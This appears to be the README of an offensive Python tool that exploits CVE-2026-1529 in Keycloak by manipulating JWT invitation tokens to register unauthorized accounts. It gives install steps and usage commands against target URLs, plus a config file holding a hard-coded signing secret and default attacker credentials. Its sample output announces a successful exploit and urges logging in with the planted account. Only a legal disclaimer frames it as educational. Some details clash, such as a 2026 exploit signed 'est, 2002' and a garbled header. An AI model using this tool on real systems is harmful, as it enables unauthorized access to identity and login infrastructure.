0x240x23elu/cve-2026-1529Keycloak: Unauthorized organization registration via improper invitation token validation
CVE-2026-1529: Keycloak - Unauthorized organization registration via improper invitation token validation
⚠️ WARNING: This tool is for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal.
This tool demonstrates a critical vulnerability in Keycloak (CVE-2026-1529) that allows unauthorized organization registration through improper JWT invitation token validation. The exploit manipulates invitation tokens to gain unauthorized access to Keycloak instances.
Vulnerability Details:
# Clone the repository
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Create virtual environment
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Create directory structure
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit
# Download files from releases or copy manually
# Then install dependencies
pip install requests urllib3 PyJWT
keycloak-exploit/
├── keycloak-exploit.py # Main exploit script
├── requirements.txt # Python dependencies
├── README.md # This file
├── config/
│ └── default_config.json # Configuration file
├── utils/
│ ├── __init__.py # Package initializer
│ ├── http_utils.py # HTTP client utilities
│ ├── jwt_utils.py # JWT manipulation
│ └── crypto_utils.py # Crypto utilities
├── logs/ # Auto-generated logs
└── output/
└── reports/ # Exploit reports
python3 keycloak-exploit.py https://target-keycloak.com
# With custom invitation token
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com
# With custom organization ID
python3 keycloak-exploit.py -o custom_org_id https://target.com
# With custom configuration file
python3 keycloak-exploit.py -c /path/to/config.json https://target.com
# Enable debug logging
python3 keycloak-exploit.py -d https://target.com
# Show help
python3 keycloak-exploit.py -h
# Show version
python3 keycloak-exploit.py -v
Edit config/default_config.json to customize exploit parameters:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
The exploit works in the following steps:
Vulnerability Check
Token Generation/Manipulation
User Registration
Login Verification
Report Generation
output/reports/┌─────────────────┐
│ Target Check │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Token Gen/Get │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Token Manipulate│
└────────┬────────┘
│
▼
┌─────────────────┐
│ User Register │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Login Test │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Report Gen │
└─────────────────┘
============================================================
CVE-2026-1529 EXPLOIT RESULTS
============================================================
✓ Target is vulnerable to CVE-2026-1529
🎯 EXPLOIT SUCCESSFUL!
Username: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Login Link: https://target.com/realms/master/account
📄 Report saved to: output/reports/exploit_report_20260211_050507.txt
🔐 Use the provided credentials to access the Keycloak instance!
⚠️ This demonstrates unauthorized access due to CVE-2026-1529
============================================================
by f3ds cr3w est, 2002
============================================================
A detailed report is saved to output/reports/ containing:
Logs are saved to logs/ directory with detailed execution information.
Solution:
# Make sure you're in the correct directory
cd keycloak-exploit
python3 keycloak-exploit.py https://target.com
Solution:
# Ensure config directory exists
mkdir -p config
# Copy or create default_config.json in config/
Solution: This has been fixed in the latest version. Update urllib3:
pip install --upgrade urllib3
Possible reasons:
Solution:
# Enable debug logging to see more details
python3 keycloak-exploit.py -d https://target.com
Solution:
# Increase timeout in config/default_config.json
"timeout": 60
Enable verbose logging to troubleshoot issues:
python3 keycloak-exploit.py -d https://target.com
This will show:
⚠️ IMPORTANT LEGAL NOTICE ⚠️
This tool is provided for EDUCATIONAL and AUTHORIZED SECURITY TESTING purposes only.
By using this tool, you agree that:
1. You will only use this tool on systems you own or have explicit written
permission to test.
2. You understand that unauthorized access to computer systems is illegal
under laws including but not limited to:
- Computer Fraud and Abuse Act (CFAA) - United States
- Computer Misuse Act - United Kingdom
- Similar legislation in other countries
3. You accept full responsibility for any consequences of using this tool.
4. The authors and contributors are not responsible for any misuse or damage
caused by this tool.
5. This tool is provided "AS IS" without warranty of any kind.
USE AT YOUR OWN RISK. UNAUTHORIZED ACCESS IS A CRIME.
Contributions are welcome! Please follow these guidelines:
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)# Clone your fork
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Create virtual environment
python3 -m venv venv
source venv/bin/activate
# Install dependencies
pip install -r requirements.txt
# Make your changes and test
python3 keycloak-exploit.py https://test-target.com
Created by: f3ds cr3w est, 2002
For questions, issues, or security concerns:
Remember: Always practice responsible disclosure and ethical hacking. Ref: https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation Made with ❤️ by f3ds cr3w est, 2002
| Argument | Short | Description |
|---|
target | - | Target Keycloak URL (required) |
--token | -t | Custom invitation token |
--org-id | -o | Custom organization ID |
--config | -c | Path to configuration file |
--debug | -d | Enable debug logging |
--version | -v | Show version information |
--help | -h | Show help message |
| Section | Parameter | Description | Default |
|---|
exploit | default_username | Username for registration | admin_user_2026 |
exploit | default_password | Password for registration | KeycloakCVE2026! |
exploit | default_email | Email for registration | [email protected] |
exploit | timeout | HTTP request timeout (seconds) | 30 |
exploit | max_retries | Max HTTP retries | 3 |
jwt | algorithm | JWT signing algorithm | HS256 |
jwt | secret_key | JWT secret key | Custom |
jwt | token_expiry | Token expiry (seconds) | 3600 |